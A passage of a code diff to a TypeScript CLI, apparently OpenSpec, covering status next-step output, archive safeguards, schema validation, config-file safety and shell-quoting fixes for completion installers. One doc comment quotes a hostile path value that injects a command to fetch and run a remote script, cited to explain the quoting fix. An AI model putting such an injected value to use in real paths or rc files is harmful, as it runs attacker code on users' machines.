status: [asStatus(new Error(describeNestedChange(nested)), 'change_error')],
|
||||
});
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
entries.push(loadStatus(changeName));
|
||||
} catch (error) {
|
||||
@@ -150,7 +178,7 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
console.log();
|
||||
}
|
||||
if ('artifacts' in entry) {
|
||||
printStatusText(entry);
|
||||
printStatusText(entry, storeOptions);
|
||||
} else {
|
||||
console.log(chalk.red(`✗ ${entry.changeName}: ${entry.status[0]?.message}`));
|
||||
}
|
||||
@@ -195,14 +223,19 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
return;
|
||||
}
|
||||
|
||||
printStatusText(status);
|
||||
printStatusText(status, storeOptions);
|
||||
} catch (error) {
|
||||
spinner?.stop();
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
export function printStatusText(status: ChangeStatus): void {
|
||||
export interface PrintStatusTextOptions {
|
||||
/** Selected store id, so the printed command carries `--store`. */
|
||||
storeId?: string;
|
||||
}
|
||||
|
||||
export function printStatusText(status: ChangeStatus, options: PrintStatusTextOptions = {}): void {
|
||||
const doneCount = status.artifacts.filter((a) => a.status === 'done').length;
|
||||
const skippedCount = status.artifacts.filter((a) => a.status === 'skipped').length;
|
||||
const total = status.artifacts.length - skippedCount;
|
||||
@@ -232,8 +265,26 @@ export function printStatusText(status: ChangeStatus): void {
|
||||
console.log(line);
|
||||
}
|
||||
|
||||
if (status.isPlanningComplete) {
|
||||
// Derived from the same inputs as the JSON `nextSteps` sentence, so the two
|
||||
// surfaces always name the same command. Without this line the text surface
|
||||
// reports state and no verb, which leaves someone resuming a change - after a
|
||||
// lost session, or on a change they did not start - with nowhere to go.
|
||||
const nextStep = resolveNextStep({
|
||||
changeName: status.changeName,
|
||||
artifactStatuses: status.artifacts,
|
||||
allArtifactsComplete: status.isPlanningComplete,
|
||||
...(options.storeId ? { storeId: options.storeId } : {}),
|
||||
});
|
||||
|
||||
if (status.isPlanningComplete || nextStep) {
|
||||
console.log();
|
||||
}
|
||||
|
||||
if (status.isPlanningComplete) {
|
||||
console.log(chalk.green('All planning artifacts complete!'));
|
||||
}
|
||||
|
||||
if (nextStep) {
|
||||
console.log(`Next: ${nextStep.command}`);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -25,7 +25,6 @@ import {
|
||||
formatMemberRows,
|
||||
resolveMemberFlags,
|
||||
} from './workset-input.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
|
||||
export interface ComposeInput {
|
||||
memberFlags: string[];
|
||||
@@ -37,7 +36,7 @@ export async function composeInteractively(
|
||||
input: ComposeInput,
|
||||
table: OpenerDefinition[]
|
||||
): Promise<Workset> {
|
||||
const prompts = await loadPrompts();
|
||||
const prompts = await import('@inquirer/prompts');
|
||||
|
||||
console.log('[1/3] Name the workset');
|
||||
let name: string;
|
||||
@@ -153,7 +152,7 @@ export async function composeInteractively(
|
||||
export async function promptToolFromChoices(
|
||||
available: OpenerChoice[]
|
||||
): Promise<string> {
|
||||
const { select } = await loadPrompts();
|
||||
const { select } = await import('@inquirer/prompts');
|
||||
return select({
|
||||
message: 'Open with:',
|
||||
choices: available.map((choice) => ({
|
||||
@@ -164,7 +163,7 @@ export async function promptToolFromChoices(
|
||||
}
|
||||
|
||||
export async function promptOpenNow(label: string): Promise<boolean> {
|
||||
const { confirm } = await loadPrompts();
|
||||
const { confirm } = await import('@inquirer/prompts');
|
||||
return confirm({
|
||||
message: `Open it now in ${label}?`,
|
||||
default: true,
|
||||
@@ -175,7 +174,7 @@ export async function promptOpenNow(label: string): Promise<boolean> {
|
||||
export async function confirmRemoveInteractively(
|
||||
workset: Workset
|
||||
): Promise<boolean> {
|
||||
const { confirm } = await loadPrompts();
|
||||
const { confirm } = await import('@inquirer/prompts');
|
||||
|
||||
console.log(`Workset '${workset.name}':`);
|
||||
for (const row of formatMemberRows(workset.members)) {
|
||||
|
||||
+26
-3
@@ -23,12 +23,15 @@ import {
|
||||
finalizeRetiredSpec,
|
||||
type SpecUpdate,
|
||||
} from './specs-apply.js';
|
||||
import { discoverSpecFiles, hasAnyFileUnder } from '../utils/spec-discovery.js';
|
||||
import { discoverSpecFiles, findUnreadDeltaFiles, hasAnyFileUnder } from '../utils/spec-discovery.js';
|
||||
import { METADATA_FILENAME, readRetireCapabilitiesMarker, readSkipSpecsMarker } from '../utils/change-metadata.js';
|
||||
import { confirmPrompt, isNonInteractivePromptError } from '../utils/interactive.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { folderStyleNameProblem } from './id.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
} from '../utils/nested-change.js';
|
||||
|
||||
function isMissingPathError(error: unknown): boolean {
|
||||
return (
|
||||
@@ -1178,6 +1181,19 @@ export class ArchiveCommand {
|
||||
);
|
||||
}
|
||||
|
||||
// Archiving a namespace folder moves an active, unfinished change into the
|
||||
// archive under a name nobody will look for, and never applies its deltas.
|
||||
// That is silent data loss, so it is refused outright rather than warned
|
||||
// about (#1846).
|
||||
const nested = await findNestedChangesIn(changesDir, changeName);
|
||||
if (nested) {
|
||||
throw new ArchiveBlockedError(
|
||||
'archive_change_is_namespace_folder',
|
||||
`Cannot archive '${changeName}': ${describeNestedChange(nested)}`,
|
||||
`Rename openspec/changes/${nested.nested[0]}/ to a flat change directory, then archive it.`
|
||||
);
|
||||
}
|
||||
|
||||
const skipValidation = options.validate === false || options.noValidate === true;
|
||||
|
||||
// Validate specs and change before archiving
|
||||
@@ -1226,6 +1242,13 @@ export class ArchiveCommand {
|
||||
// folder, so only a regular file counts.
|
||||
const rootSpecStat = await fs.stat(path.join(changeSpecsDir, 'spec.md')).catch(() => null);
|
||||
let hasDeltaSpecs = rootSpecStat?.isFile() === true;
|
||||
// Likewise for delta sections in any other file the merge path does not
|
||||
// read (specs/<capability>.md, a note beside spec.md): without this the
|
||||
// zero-delta leniency below archives the change as done with nothing
|
||||
// merged, although validate rejects it.
|
||||
if (!hasDeltaSpecs) {
|
||||
hasDeltaSpecs = (await findUnreadDeltaFiles(changeSpecsDir)).length > 0;
|
||||
}
|
||||
// A change that declares skip_specs must not carry any file under
|
||||
// specs/ — validate reports that as a conflict, so archive has to run
|
||||
// the same check instead of skipping validation because the files
|
||||
@@ -2063,7 +2086,7 @@ export class ArchiveCommand {
|
||||
root: ResolvedOpenSpecRoot,
|
||||
options: ArchiveOptions
|
||||
): Promise<string | null> {
|
||||
const { select } = await loadPrompts();
|
||||
const { select } = await import('@inquirer/prompts');
|
||||
const changeDirs = await listActiveChangeNames(changesDir);
|
||||
|
||||
if (changeDirs.length === 0) {
|
||||
|
||||
@@ -38,6 +38,9 @@ export function parseSchema(yamlContent: string): SchemaYaml {
|
||||
// Check that all requires references are valid
|
||||
validateRequiresReferences(schema.artifacts);
|
||||
|
||||
// Check that the apply phase names artifacts this schema declares
|
||||
validateApplyReferences(schema);
|
||||
|
||||
// Check for cycles
|
||||
validateNoCycles(schema.artifacts);
|
||||
|
||||
@@ -74,6 +77,61 @@ function validateRequiresReferences(artifacts: Artifact[]): void {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that every `apply.requires` id is an artifact the schema declares.
|
||||
*
|
||||
* Apply skips an id that no artifact declares, so a typo silently dropped that
|
||||
* artifact from the apply gate. An unknown artifact `requires` is already a
|
||||
* load error, and this is the same kind of reference.
|
||||
*
|
||||
* `apply.tracks` is deliberately not checked here. It is a path, not an id:
|
||||
* apply reads it as written, so a schema whose `tracks` value does not exactly
|
||||
* match any `generates` value (a hand-written `TODO.md`, or `tasks/main.md`
|
||||
* under a glob `generates: tasks/*.md` that really does produce it) works
|
||||
* today, and failing the load would break every command on it.
|
||||
* `openspec schema validate` reports that case as a warning instead
|
||||
* (see `findApplyTracksWarning`).
|
||||
*/
|
||||
function validateApplyReferences(schema: SchemaYaml): void {
|
||||
const apply = schema.apply;
|
||||
if (!apply) return;
|
||||
|
||||
const validIds = schema.artifacts.map(a => a.id);
|
||||
for (const req of apply.requires) {
|
||||
if (!validIds.includes(req)) {
|
||||
throw new SchemaValidationError(
|
||||
`Invalid apply.requires reference: '${req}' does not exist (artifacts: ${validIds.join(', ')})`
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Describes an `apply.tracks` value that is not exactly equal to any artifact's
|
||||
* `generates` value, or returns undefined when there is nothing to report.
|
||||
*
|
||||
* The tracked-tasks lookups select the artifact whose `generates` string equals
|
||||
* `tracks`, so this is a progress-discovery problem, not a claim that nothing
|
||||
* produces the file: a glob `generates: tasks/*.md` really does generate
|
||||
* `tracks: tasks/main.md`, yet the strings differ, so the lookup still misses.
|
||||
* Either way apply keeps working (it reads the path directly), but `openspec
|
||||
* list` and `openspec status` fall back to counting the top-level `tasks.md`,
|
||||
* and apply's remedy cannot name an artifact to build. A typo such as
|
||||
* `task.md` is the other usual cause.
|
||||
*/
|
||||
export function findApplyTracksWarning(schema: SchemaYaml): string | undefined {
|
||||
const tracks = schema.apply?.tracks;
|
||||
if (tracks == null || schema.artifacts.some(a => a.generates === tracks)) return undefined;
|
||||
return (
|
||||
`apply.tracks '${tracks}' does not exactly match any artifact's generates value ` +
|
||||
`(generates: ${schema.artifacts.map(a => a.generates).join(', ')}), ` +
|
||||
`so OpenSpec cannot tell which artifact's progress it tracks. ` +
|
||||
`Apply still reads that file as written, but list and status count tasks.md instead. ` +
|
||||
`Make apply.tracks exactly equal one of those generates values, ` +
|
||||
`or confirm that file is maintained outside the artifact graph.`
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that there are no cyclic dependencies.
|
||||
* Uses DFS to detect cycles and reports the full cycle path.
|
||||
|
||||
@@ -22,6 +22,10 @@ function relativePathSchema(fieldName: string) {
|
||||
}
|
||||
|
||||
// Artifact definition schema
|
||||
// Upper bound on artifacts in one schema. Keeps `validateNoCycles`' recursive
|
||||
// DFS well inside the stack limit for any accepted input.
|
||||
const MAX_ARTIFACTS = 1000;
|
||||
|
||||
export const ArtifactSchema = z.object({
|
||||
id: z.string().min(1, { error: 'Artifact ID is required' }),
|
||||
generates: relativePathSchema('generates field'),
|
||||
@@ -46,7 +50,15 @@ export const SchemaYamlSchema = z.object({
|
||||
name: z.string().min(1, { error: 'Schema name is required' }),
|
||||
version: z.number().int().positive({ error: 'Version must be a positive integer' }),
|
||||
description: z.string().optional(),
|
||||
artifacts: z.array(ArtifactSchema).min(1, { error: 'At least one artifact required' }),
|
||||
artifacts: z
|
||||
.array(ArtifactSchema)
|
||||
.min(1, { error: 'At least one artifact required' })
|
||||
// Bounded so a hostile schema cannot drive the cycle-detection DFS past the
|
||||
// V8 stack limit and crash with an uncaught RangeError instead of a
|
||||
// validation error.
|
||||
.max(MAX_ARTIFACTS, {
|
||||
error: `A schema may declare at most ${MAX_ARTIFACTS} artifacts`,
|
||||
}),
|
||||
// Optional apply phase configuration (for schema-aware apply instructions)
|
||||
apply: ApplyPhaseSchema.optional(),
|
||||
});
|
||||
|
||||
@@ -62,20 +62,41 @@ export function buildActionContext(input: ActionContextInput): ActionContext {
|
||||
};
|
||||
}
|
||||
|
||||
export function buildNextSteps(input: ChangeNextStepsInput): string[] {
|
||||
/**
|
||||
* The one next action for a change, in both the forms the CLI needs.
|
||||
*
|
||||
* `sentence` is what the JSON `nextSteps` contract publishes; `command` is the
|
||||
* bare command the text surface prints. Both are built here so the two
|
||||
* surfaces can never name a different next step.
|
||||
*/
|
||||
export interface ChangeNextStep {
|
||||
/** Ready-to-run command, including any `--store` flag. */
|
||||
command: string;
|
||||
/** Sentence form carried by the JSON `nextSteps` array. */
|
||||
sentence: string;
|
||||
}
|
||||
|
||||
export function resolveNextStep(input: ChangeNextStepsInput): ChangeNextStep | undefined {
|
||||
const readyArtifact = input.artifactStatuses.find((artifact) => artifact.status === 'ready');
|
||||
const steps: string[] = [];
|
||||
const storeFlag = input.storeId ? ` --store ${input.storeId}` : '';
|
||||
|
||||
if (readyArtifact) {
|
||||
steps.push(
|
||||
`Run openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json before writing that artifact.`
|
||||
);
|
||||
} else if (input.allArtifactsComplete) {
|
||||
steps.push(
|
||||
`All planning artifacts are complete. Run openspec instructions apply --change "${input.changeName}"${storeFlag} --json to inspect implementation progress.`
|
||||
);
|
||||
const command = `openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json`;
|
||||
return { command, sentence: `Run ${command} before writing that artifact.` };
|
||||
}
|
||||
|
||||
return steps;
|
||||
if (input.allArtifactsComplete) {
|
||||
const command = `openspec instructions apply --change "${input.changeName}"${storeFlag} --json`;
|
||||
return {
|
||||
command,
|
||||
sentence: `All planning artifacts are complete. Run ${command} to inspect implementation progress.`,
|
||||
};
|
||||
}
|
||||
|
||||
return undefined;
|
||||
}
|
||||
|
||||
export function buildNextSteps(input: ChangeNextStepsInput): string[] {
|
||||
const step = resolveNextStep(input);
|
||||
return step ? [step.sentence] : [];
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
import type { CommandContent, ToolCommandAdapter, GeneratedCommand } from './types.js';
|
||||
import { getInvocationForAdapter, needsInvocationRewrite } from './invocation.js';
|
||||
import { transformCommandInvocations } from '../../utils/command-references.js';
|
||||
import { assertWorkflowConditionalsResolved } from '../templates/optional-workflow.js';
|
||||
|
||||
/**
|
||||
* Generate a single command file using the provided adapter.
|
||||
@@ -26,6 +27,11 @@ export function generateCommand(
|
||||
content: CommandContent,
|
||||
adapter: ToolCommandAdapter
|
||||
): GeneratedCommand {
|
||||
assertWorkflowConditionalsResolved(
|
||||
content.body,
|
||||
`Command '${content.id}' was generated without resolving its optional-workflow blocks`
|
||||
);
|
||||
|
||||
const invocation = getInvocationForAdapter(adapter);
|
||||
const formatted = needsInvocationRewrite(invocation)
|
||||
? { ...content, body: transformCommandInvocations(content.body, invocation) }
|
||||
|
||||
@@ -18,8 +18,8 @@
|
||||
* non-TTY runs, which are deferred rather than consumed (see `silent`)
|
||||
*/
|
||||
import * as fs from 'node:fs';
|
||||
import * as path from 'node:path';
|
||||
import { getGlobalConfigPath } from './global-config.js';
|
||||
import { writeFileAtomically } from './file-state.js';
|
||||
import { isCiEnvironment } from '../utils/ci.js';
|
||||
import { detectShell } from '../utils/shell-detection.js';
|
||||
import { CompletionFactory } from './completions/factory.js';
|
||||
@@ -109,18 +109,17 @@ function readRawConfig(): Record<string, unknown> | null {
|
||||
* write down to this one key, and the rename keeps a reader from ever seeing a
|
||||
* half-written config.
|
||||
*/
|
||||
function markTipSeen(): void {
|
||||
async function markTipSeen(): Promise<void> {
|
||||
const configPath = getGlobalConfigPath();
|
||||
const current = readRawConfig() ?? {};
|
||||
const tempPath = `${configPath}.${process.pid}.tmp`;
|
||||
|
||||
fs.mkdirSync(path.dirname(configPath), { recursive: true });
|
||||
fs.writeFileSync(
|
||||
tempPath,
|
||||
JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n',
|
||||
'utf-8'
|
||||
// The shared atomic writer: randomized temp name, owner-only mode, temp file
|
||||
// removed on failure. A predictable `<config>.<pid>.tmp` at the default mode
|
||||
// is both guessable and world-readable once renamed over the config.
|
||||
await writeFileAtomically(
|
||||
configPath,
|
||||
JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n'
|
||||
);
|
||||
fs.renameSync(tempPath, configPath);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -148,7 +147,7 @@ export async function maybeShowCompletionTip(
|
||||
|
||||
// Record before printing: if the flag cannot be persisted, staying quiet
|
||||
// beats reprinting the tip on every future run.
|
||||
markTipSeen();
|
||||
await markTipSeen();
|
||||
if (decision === 'show') {
|
||||
console.error(`\n${COMPLETION_TIP_MESSAGE}`);
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@ import path from 'path';
|
||||
import os from 'os';
|
||||
import { FileSystemUtils } from '../../../utils/file-system.js';
|
||||
import { InstallationResult } from '../factory.js';
|
||||
import { shellSingleQuote } from './shell-quote.js';
|
||||
|
||||
/**
|
||||
* Installer for Bash completion scripts.
|
||||
@@ -115,10 +116,11 @@ export class BashInstaller {
|
||||
* @returns Configuration content
|
||||
*/
|
||||
private generateBashrcConfig(completionsDir: string): string {
|
||||
const quotedDir = shellSingleQuote(completionsDir);
|
||||
return [
|
||||
'# OpenSpec shell completions configuration',
|
||||
`if [ -d "${completionsDir}" ]; then`,
|
||||
` for f in "${completionsDir}"/*; do`,
|
||||
`if [ -d ${quotedDir} ]; then`,
|
||||
` for f in ${quotedDir}/*; do`,
|
||||
' [ -f "$f" ] && . "$f"',
|
||||
' done',
|
||||
'fi',
|
||||
@@ -203,9 +205,11 @@ export class BashInstaller {
|
||||
// Remove lines between markers (inclusive)
|
||||
lines.splice(startIndex, endIndex - startIndex + 1);
|
||||
|
||||
// Remove trailing empty lines
|
||||
while (lines.length > 0 && lines[lines.length - 1].trim() === '') {
|
||||
lines.pop();
|
||||
// Install puts the block at the top of the file followed by one blank
|
||||
// separator line; drop that line too so the file reads as it did before.
|
||||
// Everything else, including the file's final newline, is left as is.
|
||||
if (startIndex === 0 && lines.length > 0 && lines[0].trim() === '') {
|
||||
lines.shift();
|
||||
}
|
||||
|
||||
// Write back
|
||||
@@ -328,14 +332,19 @@ export class BashInstaller {
|
||||
private generateInstructions(installedPath: string): string[] {
|
||||
const completionsDir = path.dirname(installedPath);
|
||||
|
||||
// Quoted exactly like the auto-configured block: these lines are printed
|
||||
// for the user to paste into their own rc file, so an expansion left in
|
||||
// them runs on every future shell start.
|
||||
const quotedDir = shellSingleQuote(completionsDir);
|
||||
|
||||
return [
|
||||
'Completion script installed successfully.',
|
||||
'',
|
||||
'To enable completions, add the following to your ~/.bashrc file:',
|
||||
'',
|
||||
` # Source OpenSpec completions`,
|
||||
` if [ -d "${completionsDir}" ]; then`,
|
||||
` for f in "${completionsDir}"/*; do`,
|
||||
` if [ -d ${quotedDir} ]; then`,
|
||||
` for f in ${quotedDir}/*; do`,
|
||||
' [ -f "$f" ] && . "$f"',
|
||||
' done',
|
||||
' fi',
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
/**
|
||||
* Quote a path as a POSIX shell single-quoted literal.
|
||||
*
|
||||
* Completion directories are derived from XDG_DATA_HOME / HOME, which are never
|
||||
* escaped. Interpolated into a double-quoted rc line, a value like
|
||||
* `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
|
||||
* suppress every expansion, and the `'\''` dance closes, escapes, and reopens
|
||||
* the quote around any literal apostrophe.
|
||||
*/
|
||||
export function shellSingleQuote(value: string): string {
|
||||
return `'${value.replace(/'/g, `'\\''`)}'`;
|
||||
}
|
||||
@@ -3,6 +3,7 @@ import path from 'path';
|
||||
import os from 'os';
|
||||
import { FileSystemUtils } from '../../../utils/file-system.js';
|
||||
import { InstallationResult } from '../factory.js';
|
||||
import { shellSingleQuote } from './shell-quote.js';
|
||||
|
||||
/**
|
||||
* Installer for Zsh completion scripts.
|
||||
@@ -119,7 +120,7 @@ export class ZshInstaller {
|
||||
private generateZshrcConfig(completionsDir: string): string {
|
||||
return [
|
||||
'# OpenSpec shell completions configuration',
|
||||
`fpath=("${completionsDir}" $fpath)`,
|
||||
`fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
|
||||
'autoload -Uz compinit',
|
||||
'compinit',
|
||||
].join('\n');
|
||||
@@ -377,7 +378,7 @@ export class ZshInstaller {
|
||||
'To enable completions, add the following to your ~/.zshrc file:',
|
||||
'',
|
||||
` # Add completions directory to fpath`,
|
||||
` fpath=(${completionsDir} $fpath)`,
|
||||
` fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
|
||||
'',
|
||||
' # Initialize completion system',
|
||||
' autoload -Uz compinit',
|
||||
|
||||
+30
-1
@@ -33,6 +33,7 @@ export interface AIToolOption {
|
||||
legacySkillsDirs?: string[]; // Former roots read for detection and migrated after replacement
|
||||
globalSkillsDir?: string; // e.g., '.minimax' - /skills suffix, resolved from the user's home directory
|
||||
detectionPaths?: string[]; // Override skillsDir for auto-detection; any path existing triggers detection
|
||||
searchAliases?: string[]; // Extra single-word terms the init tool picker matches; never displayed
|
||||
setupNote?: string; // Manual setup required before the tool picks up generated files; shown after init/update
|
||||
requiresIdeRestart?: boolean; // True when slash commands are loaded by an IDE/editor process (a CLI picks them up immediately, so no restart hint — see #1067)
|
||||
}
|
||||
@@ -88,9 +89,37 @@ export const AI_TOOLS: AIToolOption[] = [
|
||||
// A project that does keep skills there is a project this target fits, the same
|
||||
// way `.claude/` selects Claude Code — the signal is the user's setup, not
|
||||
// OpenSpec's own files.
|
||||
{ name: 'Shared .agents skills', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'] }
|
||||
// The picker is searchable, so this entry also answers to the words someone
|
||||
// whose assistant is not on the list actually types (#653) — it is named for
|
||||
// a directory, which none of them would guess. Aliases are single words: the
|
||||
// space bar toggles a selection rather than typing into the search box.
|
||||
{ name: 'Other / Universal (shared .agents skills)', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'], searchAliases: ['universal', 'other', 'generic', 'custom', 'proprietary', 'unlisted', 'unsupported', 'vendor-neutral', 'agents.md'] }
|
||||
];
|
||||
|
||||
/**
|
||||
* The vendor-neutral target every assistant that is not listed above can use.
|
||||
* Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
|
||||
* a dead end (#653).
|
||||
*/
|
||||
export const UNIVERSAL_TOOL_ID = 'agents';
|
||||
|
||||
/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
|
||||
export function getUniversalTool(): AIToolOption | undefined {
|
||||
return AI_TOOLS.find((tool) => tool.value === UNIVERSAL_TOOL_ID);
|
||||
}
|
||||
|
||||
/**
|
||||
* One-line pointer at the universal target for non-interactive errors, the
|
||||
* scripted counterpart of the picker's empty-search hint. Undefined when the
|
||||
* target is not among the tools on offer, so the hint never names a choice the
|
||||
* caller cannot make.
|
||||
*/
|
||||
export function universalToolFallbackHint(offeredToolIds: string[]): string | undefined {
|
||||
const universal = getUniversalTool();
|
||||
if (!universal || !offeredToolIds.includes(universal.value)) return undefined;
|
||||
return `Tool not listed? Use --tools ${universal.value}: the vendor-neutral target that writes ${universal.skillsDir}/skills/ for any assistant.`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Retired tool ids that still resolve, so a rebrand does not break scripted
|
||||
* `--tools` invocations. Windsurf was rebranded to Devin Desktop on
|
||||
|
||||
+71
-24
@@ -19,26 +19,6 @@ export interface TelemetryConfig {
|
||||
anonymousId?: string;
|
||||
/** Whether the first-run telemetry notice has been shown. */
|
||||
noticeSeen?: boolean;
|
||||
/**
|
||||
* Which disclosure version the user has seen. An expansion of what is
|
||||
* collected shows a notice naming what changed rather than resetting
|
||||
* noticeSeen, which would discard the fact that they were told at all.
|
||||
*/
|
||||
noticeVersion?: number;
|
||||
/** ISO time of the first run with telemetry enabled. Never sent; only a bucket derived from it is. */
|
||||
firstSeenAt?: string;
|
||||
/** Random id shared by invocations less than 30 minutes apart. */
|
||||
workSessionId?: string;
|
||||
/** ISO time of the last invocation, for the work-session window. */
|
||||
lastActivityAt?: string;
|
||||
/** Milestones already reported, so each is sent at most once. */
|
||||
milestones?: string[];
|
||||
/** Registry tool ids already reported via tool_configured. */
|
||||
reportedTools?: string[];
|
||||
/** Outcome of the previous invocation, for retry visibility. */
|
||||
previousOutcome?: string;
|
||||
/** Command path of the previous invocation. Compared locally; never sent. */
|
||||
previousCommand?: string;
|
||||
}
|
||||
|
||||
// TypeScript interfaces
|
||||
@@ -149,6 +129,10 @@ export function getGlobalConfigPath(): string {
|
||||
return path.join(getGlobalConfigDir(), GLOBAL_CONFIG_FILE_NAME);
|
||||
}
|
||||
|
||||
// Config paths already warned about. One command reads the config several
|
||||
// times (telemetry, the update check, the command itself); warn once.
|
||||
const warnedInvalidJsonPaths = new Set<string>();
|
||||
|
||||
/**
|
||||
* Loads the global configuration from disk.
|
||||
* Returns default configuration if file doesn't exist or is invalid.
|
||||
@@ -165,6 +149,14 @@ export function getGlobalConfig(): GlobalConfig {
|
||||
const content = fs.readFileSync(configPath, 'utf-8');
|
||||
const parsed = JSON.parse(content);
|
||||
|
||||
// A root that is not a plain object carries no settings, and spreading it
|
||||
// would leak its shape into the result: a string contributes numeric
|
||||
// character keys. Answer with plain defaults, as for a file that did not
|
||||
// parse at all. Same predicate the writers refuse to save over.
|
||||
if (!isConfigRootObject(parsed)) {
|
||||
return { ...DEFAULT_CONFIG };
|
||||
}
|
||||
|
||||
// Merge with defaults (loaded values take precedence)
|
||||
const merged: GlobalConfig = {
|
||||
...DEFAULT_CONFIG,
|
||||
@@ -187,7 +179,8 @@ export function getGlobalConfig(): GlobalConfig {
|
||||
return merged;
|
||||
} catch (error) {
|
||||
// Log warning for parse errors, but not for missing files
|
||||
if (error instanceof SyntaxError) {
|
||||
if (error instanceof SyntaxError && !warnedInvalidJsonPaths.has(configPath)) {
|
||||
warnedInvalidJsonPaths.add(configPath);
|
||||
console.error(`Warning: Invalid JSON in ${configPath}, using defaults`);
|
||||
}
|
||||
return { ...DEFAULT_CONFIG };
|
||||
@@ -195,13 +188,67 @@ export function getGlobalConfig(): GlobalConfig {
|
||||
}
|
||||
|
||||
/**
|
||||
* Saves the global configuration to disk.
|
||||
* Creates the config directory if it doesn't exist.
|
||||
* Whether a parsed JSON root can serve as a global config object.
|
||||
*
|
||||
* Valid JSON that is not a plain object (`null`, an array, a string, a number,
|
||||
* a boolean) still reads as defaults, so it is just as unsafe to save over as
|
||||
* a file that did not parse at all. Every reader and writer of the global
|
||||
* config shares this one predicate so they cannot drift apart.
|
||||
*/
|
||||
export function saveGlobalConfig(config: GlobalConfig): void {
|
||||
export function isConfigRootObject(parsed: unknown): boolean {
|
||||
return typeof parsed === 'object' && parsed !== null && !Array.isArray(parsed);
|
||||
}
|
||||
|
||||
/**
|
||||
* The one-line, actionable refusal every global-config writer reports when it
|
||||
* declines to overwrite a file it could not read.
|
||||
*/
|
||||
export function unreadableGlobalConfigMessage(configPath: string): string {
|
||||
return (
|
||||
`Refusing to overwrite ${configPath}: it could not be parsed, so saving would replace every setting in it. ` +
|
||||
'Fix it with "openspec config edit", or reset it with "openspec config reset --all".'
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the global config file exists but cannot be read or parsed.
|
||||
*
|
||||
* getGlobalConfig() answers with defaults for such a file so that reads keep
|
||||
* working, but those defaults are not the user's settings: saving them back
|
||||
* would erase everything the file holds, and the file may contain an opt-out
|
||||
* such as `telemetry.enabled: false` that the defaults do not.
|
||||
*/
|
||||
export function isGlobalConfigUnreadable(): boolean {
|
||||
const configPath = getGlobalConfigPath();
|
||||
if (!fs.existsSync(configPath)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
return !isConfigRootObject(JSON.parse(fs.readFileSync(configPath, 'utf-8')));
|
||||
} catch {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
export interface SaveGlobalConfigOptions {
|
||||
/** Overwrite a config file that cannot be parsed. Only a reset should. */
|
||||
replaceUnreadable?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Saves the global configuration to disk.
|
||||
* Creates the config directory if it doesn't exist. Refuses to overwrite an
|
||||
* existing file it cannot parse unless `replaceUnreadable` is set.
|
||||
*/
|
||||
export function saveGlobalConfig(config: GlobalConfig, options: SaveGlobalConfigOptions = {}): void {
|
||||
const configDir = getGlobalConfigDir();
|
||||
const configPath = getGlobalConfigPath();
|
||||
|
||||
if (!options.replaceUnreadable && isGlobalConfigUnreadable()) {
|
||||
throw new Error(unreadableGlobalConfigMessage(configPath));
|
||||
}
|
||||
|
||||
// Create directory if it doesn't exist
|
||||
if (!fs.existsSync(configDir)) {
|
||||
fs.mkdirSync(configDir, { recursive: true });
|
||||
|
||||
+19
-22
@@ -22,6 +22,8 @@ import { ANCHORED_OPENSPEC_DIRS, ensureDirectoryAnchor } from './openspec-root.j
|
||||
import { getSkillReferenceTransformer, getTransformerForTool, usesNaturalLanguageSkillReferences } from '../utils/command-references.js';
|
||||
import {
|
||||
AI_TOOLS,
|
||||
getUniversalTool,
|
||||
universalToolFallbackHint,
|
||||
OPENSPEC_DIR_NAME,
|
||||
AIToolOption,
|
||||
resolveToolIdAlias,
|
||||
@@ -85,20 +87,6 @@ import {
|
||||
findUnmanagedCloudFiles,
|
||||
listManagedCloudFiles,
|
||||
} from './github-copilot/cloud-agent.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
|
||||
/**
|
||||
* The user declined the legacy cleanup. A cancellation, not an error: it
|
||||
* carries the diagnostic code the telemetry classifier maps to `cancelled`,
|
||||
* and the command's own handler prints nothing extra for it.
|
||||
*/
|
||||
export class InitCancelledError extends Error {
|
||||
readonly diagnostic = { severity: 'error' as const, code: 'init_cancelled', message: 'Initialization cancelled.' };
|
||||
constructor() {
|
||||
super('Initialization cancelled.');
|
||||
this.name = 'InitCancelledError';
|
||||
}
|
||||
}
|
||||
|
||||
const require = createRequire(import.meta.url);
|
||||
const { version: OPENSPEC_VERSION } = require('../../package.json');
|
||||
@@ -437,7 +425,7 @@ export class InitCommand {
|
||||
}
|
||||
|
||||
if (this.canPromptInteractively()) {
|
||||
const { confirm } = await loadPrompts();
|
||||
const { confirm } = await import('@inquirer/prompts');
|
||||
const answer = await confirm({
|
||||
message:
|
||||
